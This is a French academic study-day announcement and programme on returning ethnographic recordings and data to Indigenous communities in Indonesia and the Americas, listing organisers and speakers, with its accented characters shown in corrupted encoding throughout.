Quels dA�bats, quelles tensions, quelles polA�miques peuvent provoquer le retour da��un CD ou da��un film, par exemple ? Quels conflits (ou au contraire quels enthousiasmes) crA�ent-il ou rA�activent-ils ? A� quelles finalitA�s extra-patrimoniales de tels objets sont-ils soumis ? Servent-ils de source da��inspiration pour de nouvelles crA�ations ? De supports pour des discours sur la��A�volution rA�cente da��une tradition ou de prA�texte pour la lA�gitimation de telle ou telle pratique nouvelle ?

Les objets restituA�s suscitent des lectures et des projets diffA�renciA�s selon les catA�gories sociales, da��A?ge, de genrea�� On se demandera donc quels paramA?tres pA?sent sur le travail de rA�appropriation (par exemple la proximitA� gA�nA�alogique avec les producteurs originels ; les projets A�conomiques, politiques et mA?me culturels des diffA�rents acteurs ; les statuts respectifs des uns et des autresa��). Outre des questions A�thiques et politiques, cette journA�e sera aussi la��occasion de sa��interroger sur des questions concrA?tes, telles la��impact sur leur devenir local du support choisi pour le rendu des donnA�es. Restituer en ligne, par les ondes, sous forme de cassettes, de CD/DVD, ou au moyen de clefs usb, par exemple, touche des acteurs et des publics diffA�rents, da��A?ge et de conditions sociales diffA�rentes, induisant certainement des formes de rA�appropriation distinctes auxquelles nous nous efforcerons de rA�flA�chir A� partir da��expA�riences vA�cues sur divers lieux da��enquA?te en IndonA�sie (Toraja) et dans les AmA�riques, en Bolivie (Chacobo), au BrA�sil (Ikpeng, Tikuna), en Guyane FranA�aise (WayA?pi), et au PA�rou (Amahuaca).

Organisation :

Philippe Erikson (EREA-LESC) : <erikson@u-paris10.fr>

Jean-Michel Beaudet (CREM-LESC) : <jeanmichelbeaudet@yahoo.fr>

 

PROGRAMME

9h30

Accueil des participants

9h45-10h

Philippe Erikson (EREA-LESC)

PrA�sentation de la journA�e ; introduction

10h-11h30

Edmundo Pereira (Universidade Federal do Rio de Janeiro)

Dissensions tikuna autour du choix du rA�pertoire musical le plus reprA�sentatif

Pause

11h45-12h30

Jean-Michel Beaudet (CREM-LESC)

Retour aux WayA?pi (GF)

12h30-13h00

Discussion

DA�jeuner

14h00-14h45

Patrick Menget (EPHE)

ExpA�rience de restitution de donnA�es aux Ikpeng

14h45-15h30

Christopher Hewlett (University of Saint-Andrews) :

Returning Robert Carneiroa��s data to the Amahuaca

Pause

16h00-16h45

Dana Rappoport (Cnrs, Centre Asie du Sud-Est) :

Restituer aux Toraja (Sulawesi, IndonA�sie)

16h45-17h30

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